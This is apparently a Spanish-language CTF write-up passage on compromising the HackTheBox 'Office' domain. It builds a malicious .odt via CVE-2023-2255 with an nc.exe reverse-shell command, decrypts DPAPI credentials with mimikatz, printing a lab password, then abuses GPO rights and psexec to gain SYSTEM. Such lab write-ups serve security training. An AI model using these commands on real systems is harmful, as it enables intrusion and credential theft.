❌ Accepted File Types : Doc, Docx, Docm, Odt!

Luego de intentar muchas cosas encuentro este exploit (CVE-2023-2255) el cual nos permite inyectar código en un archivo .odt:

❯ git clone https://github.com/elweth-sec/CVE-2023-2255.git

Cloning into 'CVE-2023-2255'...
remote: Enumerating objects: 10, done.
remote: Counting objects: 100% (10/10), done.
remote: Compressing objects: 100% (8/8), done.
remote: Total 10 (delta 2), reused 5 (delta 0), pack-reused 0
Receiving objects: 100% (10/10), 8.47 KiB | 456.00 KiB/s, done.
Resolving deltas: 100% (2/2), done.

❯ cd CVE-2023-2255

❯ python3 CVE-2023-2255.py --cmd 'C:\Windows\System32\cmd.exe /c C:\Users\Public\Downloads\nc.exe 10.10.16.15 443 -e C:\Windows\System32\cmd.exe' --output 'reverse.odt'

File reverse.odt has been created !

Una vez hecho, subo el archivo .odt a http://localhost:8083/resume.php (el sitio web interno encontrado). También decido empezar otro listner con netcat en el puerto 443. Subo el archivo y, luego de algunos segundos, obtengo una shell como el usuario ppots:

❯ rlwrap -cAr nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.15] from (UNKNOWN) [10.10.11.3] 60486
Microsoft Windows [Version 10.0.20348.2322]
(c) Microsoft Corporation. All rights reserved.

C:\Program Files\LibreOffice 5\program>whoami

whoami
office\ppotts

C:\Program Files\LibreOffice 5\program>

Subiendo y ejecutando WinPEAS como este nuevo usuario no muestra mucho ya que retorna errores:

C:\Users\Public\Downloads>.\winpeas.exe

<SNIP>
Path: C:\Program Files\LibreOffice 5\;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\PPotts\AppData\Local\Microsoft\WindowsApps
<SNIP>
Unhandled Exception: System.Security.SecurityException: Requested registry access is not allowed.
   at System.ThrowHelper.ThrowSecurityException(ExceptionResource resource)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name, Boolean writable)
   at winPEAS.Helpers.Registry.RegistryHelper.GetRegValue(String hive, String path, String value)
   at winPEAS.Checks.SystemInfo.PrintCachedCreds()
   at winPEAS.Helpers.CheckRunner.Run(Action action, Boolean isDebug, String description)
   at System.Collections.Generic.List`1.ForEach(Action`1 action)
   at winPEAS.Checks.Checks.RunChecks(Boolean isAllChecks, Boolean wait)
   at winPEAS.Checks.Checks.<>c__DisplayClass29_0.<Run>b__1()
   at winPEAS.Helpers.CheckRunner.Run(Action action, Boolean isDebug, String description)
   at winPEAS.Checks.Checks.Run(String[] args)
   at winPEAS.Program.Main(String[] args)

Explorando archivos para este nuevo usuario, encontramos algunos en C:\Users\PPotts\AppData donde tenemos algunos directorios:

C:\Users\Public\Downloads>dir C:\Users\PPotts\AppData\Roaming\ /a:d

dir C:\Users\PPotts\AppData\Roaming\ /a:d
 Volume in drive C has no label.
 Volume Serial Number is C626-9388

 Directory of C:\Users\PPotts\AppData\Roaming

01/17/2024  04:45 PM    <DIR>          .
05/02/2023  04:01 PM    <DIR>          ..
05/04/2023  10:58 AM    <DIR>          Adobe
01/17/2024  04:45 PM    <DIR>          LibreOffice
01/18/2024  10:34 AM    <DIR>          Microsoft
05/09/2023  02:16 PM    <DIR>          NuGet
               0 File(s)              0 bytes
               6 Dir(s)   4,927,291,392 bytes free

y dentro de C:\Users\PPotts\AppData\Roaming\Microsoft puedo ver un directorio Credentials:

C:\Users\Public\Downloads>dir C:\Users\PPotts\AppData\Roaming\Microsoft /a:d

dir C:\Users\PPotts\AppData\Roaming\Microsoft /a:d
 Volume in drive C has no label.
 Volume Serial Number is C626-9388

 Directory of C:\Users\PPotts\AppData\Roaming\Microsoft

01/18/2024  10:34 AM    <DIR>          .
01/17/2024  04:45 PM    <DIR>          ..
05/02/2023  04:13 PM    <DIR>          AddIns
05/09/2023  04:14 PM    <DIR>          Credentials
05/04/2023  10:58 AM    <DIR>          Crypto
05/04/2023  10:58 AM    <DIR>          Internet Explorer
05/04/2023  11:07 AM    <DIR>          MMC
01/18/2024  10:34 AM    <DIR>          Network
05/02/2023  04:13 PM    <DIR>          Office
05/02/2023  04:13 PM    <DIR>          Proof
05/04/2023  10:58 AM    <DIR>          Protect
05/04/2023  10:59 AM    <DIR>          Spelling
05/02/2023  04:13 PM    <DIR>          SystemCertificates
01/17/2024  05:20 PM    <DIR>          Teams
05/04/2023  11:05 AM    <DIR>          Templates
05/02/2023  04:13 PM    <DIR>          UProof
05/09/2023  10:16 AM    <DIR>          Vault
05/09/2023  11:01 AM    <DIR>          Windows
05/02/2023  04:13 PM    <DIR>          Word
               0 File(s)              0 bytes
              19 Dir(s)   4,927,291,392 bytes free

y dentro de éste tenemos algunos archivos ocultos:

C:\Users\Public\Downloads>dir C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials /a:h

dir C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials /a:h
 Volume in drive C has no label.
 Volume Serial Number is C626-9388

 Directory of C:\Users\PPotts\AppData\Roaming\Microsoft\Credentials

05/09/2023  02:08 PM               358 18A1927A997A794B65E9849883AC3F3E
05/09/2023  04:03 PM               398 84F1CAEEBF466550F4967858F9353FB4
01/18/2024  12:53 PM               374 E76CCA3670CD9BB98DF79E0A8D176F1E
               3 File(s)          1,130 bytes
               0 Dir(s)   4,925,820,928 bytes free

donde encontramos 3 archivos.

Todo indica que debemos enfocarnos en Data Protection API (DPAPI), dado que tenemos acceso a estos archivos tal cual se explica en HackTricks y también aquí. Para ello decido pasar la herramienta mimikatz a la máquina víctima, correrla como el usuario ppotts y empezar a revisar estas credenciales dentro de mimikatz. Para ello debemos correr:

dpapi::cred /in:<Path-to-Credential>

de manera que tenemos:

C:\Users\Public\Downloads\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Sep 19 2022 17:44:08
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\credentials\84F1CAEEBF466550F4967858F9353FB4

**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {191d3f9d-7959-4b4d-a520-a444853c47eb}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 0000003a - 58
  szDescription      : Enterprise Credential Data

  algCrypt           : 00006603 - 26115 (CALG_3DES)
  dwAlgCryptLen      : 000000c0 - 192
  dwSaltLen          : 00000010 - 16
  pbSalt             : 649c4466d5d647dd2c595f4e43fb7e1d
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 00008004 - 32772 (CALG_SHA1)
  dwAlgHashLen       : 000000a0 - 160
  dwHmac2KeyLen      : 00000010 - 16
  pbHmack2Key        : 32e88dfd1927fdef0ede5abf2c024e3a
  dwDataLen          : 000000c0 - 192
  pbData             : f73b168ecbad599e5ca202cf9ff719ace31cc92423a28aff5838d7063de5cccd4ca86bfb2950391284b26a34b0eff2dbc9799bdd726df9fad9cb284bacd7f1ccbba0fe140ac16264896a810e80cac3b68f82c80347c4deaf682c2f4d3be1de025f0a68988fa9d633de943f7b809f35a141149ac748bb415990fb6ea95ef49bd561eb39358d1092aef3bbcc7d5f5f20bab8d3e395350c711d39dbe7c29d49a5328975aa6fd5267b39cf22ed1f9b933e2b8145d66a5a370dcf76de2acdf549fc97
  dwSignLen          : 00000014 - 20
  pbSign             : 21bfb22ca38e0a802e38065458cecef00b450976

Repito este paso para todas las credenciales halladas (las cuales, recordemos, eran 3).

Lo importante de este output es el valor de guidMasterKey (sin los corchetes {}). De manera que, para cada credencial hallada, guardo este valor.

Ahora, chequeamos por los SID de usuarios:


C:\Users\Public\Downloads>powershell

powershell
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows

PS C:\Users\Public\Downloads> dir C:\Users\PPotts\appdata\roaming\microsoft\protect

dir C:\Users\PPotts\appdata\roaming\microsoft\protect


    Directory: C:\Users\PPotts\appdata\roaming\microsoft\protect


Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d---s-         5/21/2024   1:37 AM                S-1-5-21-1199398058-4196589450-691661856-1107

donde tenemos un valor SID de S-1-5-21-1199398058-4196589450-691661856-1107.

De momento, hemos encontrado un valor de SID para un usuario y algunos valores de guidMasterKey. Cambiamos los valores de SID y guidMasterKey corriendo en mimikatz:

dpapi::masterkey /in:<Path-de-SID>\<guidMasterKey> /rpc

de manera que en nuestro caso corremos:

mimikatz # dpapi::masterkey /in:C:\Users\PPotts\appdata\roaming\microsoft\protect\S-1-5-21-1199398058-4196589450-691661856-1107\191d3f9d-7959-4b4d-a520-a444853c47eb /rpc

**MASTERKEYS**
  dwVersion          : 00000002 - 2
  szGuid             : {191d3f9d-7959-4b4d-a520-a444853c47eb}
  dwFlags            : 00000000 - 0
  dwMasterKeyLen     : 00000088 - 136
  dwBackupKeyLen     : 00000068 - 104
  dwCredHistLen      : 00000000 - 0
  dwDomainKeyLen     : 00000174 - 372
[masterkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : c521daa0857ee4fa6e4246266081e94c
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : 1107e1ab3e107528a73a2dafc0a2db28de1ea0a07e92cff03a935635013435d75e41797f612903d6eea41a8fc4f7ebe8d2fbecb0c74cdebb1e7df3c692682a066faa3edf107792d116584625cc97f0094384a5be811e9d5ce84e5f032704330609171c973008d84f

[backupkey]
  **MASTERKEY**
    dwVersion        : 00000002 - 2
    salt             : a2741b13d7261697be4241ebbe05098a
    rounds           : 00004650 - 18000
    algHash          : 00008009 - 32777 (CALG_HMAC)
    algCrypt         : 00006603 - 26115 (CALG_3DES)
    pbKey            : 21bf24763fbb1400010c08fccc5423fe7da8190c61d3006f2d5efd5ea586f463116805692bae637b2ab548828b3afb9313edc715edd11dc21143f4ce91f4f67afe987005320d3209

[domainkey]
  **DOMAINKEY**
    dwVersion        : 00000002 - 2
    dwSecretLen      : 00000100 - 256
    dwAccesscheckLen : 00000058 - 88
    guidMasterKey    : {e523832a-e126-4d6e-ac04-ed10da72b32f}
    pbSecret         : 159613bdc2d90dd4834a37e29873ce04c74722a706d0ba4770865039b3520ff46cf9c9281542665df2e72db48f67e16e2014e07b88f8b2f7d376a8b9d47041768d650c20661aee31dc340aead98b7600662d2dc320b4f89cf7384c2a47809c024adf0694048c38d6e1e3e10e8bd7baa7a6f1214cd3a029f8372225b2df9754c19e2ae4bc5ff4b85755b4c2dfc89add9f73c54ac45a221e5a72d3efe491aa6da8fb0104a983be20af3280ae68783e8648df413d082fa7d25506e9e6de1aadbf9cf93ec8dfc5fab4bfe1dd1492dbb679b1fa25c3f15fb8500c6021f518c74e42cd4b5d5d6e1057f912db5479ebda56892f346b4e9bf6404906c7cd65a54eea2842
    pbAccesscheck    : 1430b9a3c4ab2e9d5f61dd6c62aab8e1742338623f08461fe991cccd5b3e4621d4c8e322650460181967c409c20efcf02e8936c007f7a506566d66ba57448aa8c3524f0b9cf881afcbb80c9d8c341026f3d45382f63f8665


Auto SID from path seems to be: S-1-5-21-1199398058-4196589450-691661856-1107

[backupkey] without DPAPI_SYSTEM:
  key : 4d1b2c18baba7442e79d33cc771bf54027ae2500e08da3ecfccf91303bd471b6
  sha1: eeb787c4259e3c8b8408201ee5e54fc29fad22b2

[domainkey] with RPC
[DC] 'office.htb' will be the domain
[DC] 'DC.office.htb' will be the DC server
  key : 87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166
  sha1: 85285eb368befb1670633b05ce58ca4d75c73c77

donde aquí lo importante es el valor del parámetro key.

Finalmente, podemos obtener la password de este usuario pasando: i) la credencial, ii) el valor del parámetro guidMasterKey de esa credencial y iii) el valor del parámetro key previamente hallado; de manera que corremos en mimikatz:

dpapi::cred /in:<path-de-credencial> /<guidMasterKey>::<valor-key-hallada>

y obtenemos en nuestro caso:

mimikatz # dpapi::cred /in:C:\Users\PPotts\AppData\Roaming\Microsoft\credentials\84F1CAEEBF466550F4967858F9353FB4 /191d3f9d-7959-4b4d-a520-a444853c47eb::87eedae4c65e0db47fcbc3e7e337c4cce621157863702adc224caf2eedcfbdbaadde99ec95413e18b0965dcac70344ed9848cd04f3b9491c336c4bde4d1d8166

**BLOB**
  dwVersion          : 00000001 - 1
  guidProvider       : {df9d8cd0-1501-11d1-8c7a-00c04fc297eb}
  dwMasterKeyVersion : 00000001 - 1
  guidMasterKey      : {191d3f9d-7959-4b4d-a520-a444853c47eb}
  dwFlags            : 20000000 - 536870912 (system ; )
  dwDescriptionLen   : 0000003a - 58
  szDescription      : Enterprise Credential Data

  algCrypt           : 00006603 - 26115 (CALG_3DES)
  dwAlgCryptLen      : 000000c0 - 192
  dwSaltLen          : 00000010 - 16
  pbSalt             : 649c4466d5d647dd2c595f4e43fb7e1d
  dwHmacKeyLen       : 00000000 - 0
  pbHmackKey         :
  algHash            : 00008004 - 32772 (CALG_SHA1)
  dwAlgHashLen       : 000000a0 - 160
  dwHmac2KeyLen      : 00000010 - 16
  pbHmack2Key        : 32e88dfd1927fdef0ede5abf2c024e3a
  dwDataLen          : 000000c0 - 192
  pbData             : f73b168ecbad599e5ca202cf9ff719ace31cc92423a28aff5838d7063de5cccd4ca86bfb2950391284b26a34b0eff2dbc9799bdd726df9fad9cb284bacd7f1ccbba0fe140ac16264896a810e80cac3b68f82c80347c4deaf682c2f4d3be1de025f0a68988fa9d633de943f7b809f35a141149ac748bb415990fb6ea95ef49bd561eb39358d1092aef3bbcc7d5f5f20bab8d3e395350c711d39dbe7c29d49a5328975aa6fd5267b39cf22ed1f9b933e2b8145d66a5a370dcf76de2acdf549fc97
  dwSignLen          : 00000014 - 20
  pbSign             : 21bfb22ca38e0a802e38065458cecef00b450976

Decrypting Credential:
 * volatile cache: GUID:{191d3f9d-7959-4b4d-a520-a444853c47eb};KeyHash:85285eb368befb1670633b05ce58ca4d75c73c77;Key:available
**CREDENTIAL**
  credFlags      : 00000030 - 48
  credSize       : 000000be - 190
  credUnk0       : 00000000 - 0

  Type           : 00000002 - 2 - domain_password
  Flags          : 00000000 - 0
  LastWritten    : 5/9/2023 11:03:21 PM
  unkFlagsOrSize : 00000018 - 24
  Persist        : 00000003 - 3 - enterprise
  AttributeCount : 00000000 - 0
  unk0           : 00000000 - 0
  unk1           : 00000000 - 0
  TargetName     : Domain:interactive=OFFICE\HHogan
  UnkData        : (null)
  Comment        : (null)
  TargetAlias    : (null)
  UserName       : OFFICE\HHogan
  CredentialBlob : H4ppyFtW183#
  Attributes     : 0

donde tenemos las credenciales: HHogan:H4ppyFtW183#

Revisando por los permisos del usuario hhogan muestra que éste es miembro del grupo Remote Management Users, de manera que nos podemos conectar via Windows Remote Management (WinRM) con la herramienta evil-winrm:

❯ evil-winrm -i 10.10.11.3 -u 'hhogan' -p 'H4ppyFtW183#'

Evil-WinRM shell v3.5

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\HHogan\Documents> whoami

office\hhogan

Notamos que este nuevo usuario es miembro del grupo GPO. Buscando nuevamente en la biblia HackTricks sugiere muchas maneras de abusar de este grupo. En mi caso utilizaré la herramienta SharpGPOAbuse, la cual puede ser descargada desde su repositorio de Github, pero yo me descargaré un binario pre-compilado desde este repositorio. Primero, necesitamos chequear los nombres GPO disponibles. Podemos hacer esto corriendo:

*Evil-WinRM* PS C:\Users\HHogan\Documents> Get-GPO -All | Select-Object -ExpandProperty DisplayName

Windows Firewall GPO
Default Domain Policy
Default Active Directory Settings GPO
Default Domain Controllers Policy
Windows Update GPO
Windows Update Domain Policy
Software Installation GPO
Password Policy GPO

y ahora podemos agregar a nuestro usuario (HHogan) al grupo Administrators:

*Evil-WinRM* PS C:\Users\HHogan\Documents> .\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount HHogan --GPOName "Default Domain Policy"

[+] Domain = office.htb
[+] Domain Controller = DC.office.htb
[+] Distinguished Name = CN=Policies,CN=System,DC=office,DC=htb
[+] SID Value of HHogan = S-1-5-21-1199398058-4196589450-691661856-1108
[+] GUID of "Default Domain Policy" is: {31B2F340-016D-11D2-945F-00C04FB984F9}
[+] File exists: \\office.htb\SysVol\office.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Microsoft\Windows NT\SecEdit\GptTmpl.inf
[+] The GPO does not specify any group memberships.
[+] versionNumber attribute changed successfully
[+] The version number in GPT.ini was increased successfully.
[+] The GPO was modified to include a new local admin. Wait for the GPO refresh cycle.
[+] Done!

Pero no tan rápido. Necesitamos una manera de “desencadenar” este cambio (o podríamos esperar hasta 90 minutos, pero soy algo impaciente), de manera que podemos tratar de forzar los cambios corriendo:

*Evil-WinRM* PS C:\Users\HHogan\Documents> gpupdate /force

Updating policy...



Computer Policy update has completed successfully.

User Policy update has completed successfully.

Revisamos si nuestro usuario ha sido agregado al grupo Administrators:

*Evil-WinRM* PS C:\Users\HHogan\Documents> net user hhogan

User name                    HHogan
Full Name
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            5/6/2023 11:59:34 AM
Password expires             Never
Password changeable          5/7/2023 11:59:34 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   5/10/2023 5:30:58 AM

Logon hours allowed          All

Local Group Memberships      *Administrators       *Remote Management Use
Global Group memberships     *Domain Users         *GPO Managers
The command completed successfully.

y allí está.

Nota
Nuevamente hay algún script corriendo por detrás el cual constantemente “limpia” usuarios del grupo Administrators y sólo deja al usuario Administrator dentro de éste, de manera que debemos actuar rápido con el paso que sigue.

Dado que el servicio SMB está disponible, rápidamente uso psexec.py para acceder a la máquina como el usuario NT Authority/System:

❯ rlwrap -cAr python3 /usr/share/doc/python3-impacket/examples/psexec.py 'HHogan':'H4ppyFtW183#'@10.10.11.3

Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Requesting shares on 10.10.11.3.....
[*] Found writable share ADMIN$
[*] Uploading file pCcJgcit.exe
[*] Opening SVCManager on 10.10.11.3.....
[*] Creating service LqNH on 10.10.11.3.....
[*] Starting service LqNH.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.20348.2322]
(c) Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami

nt authority\system

donde podemos leer la flag root.txt en el Desktop del usuario Administrator. Máquina completada.

~Happy Hacking!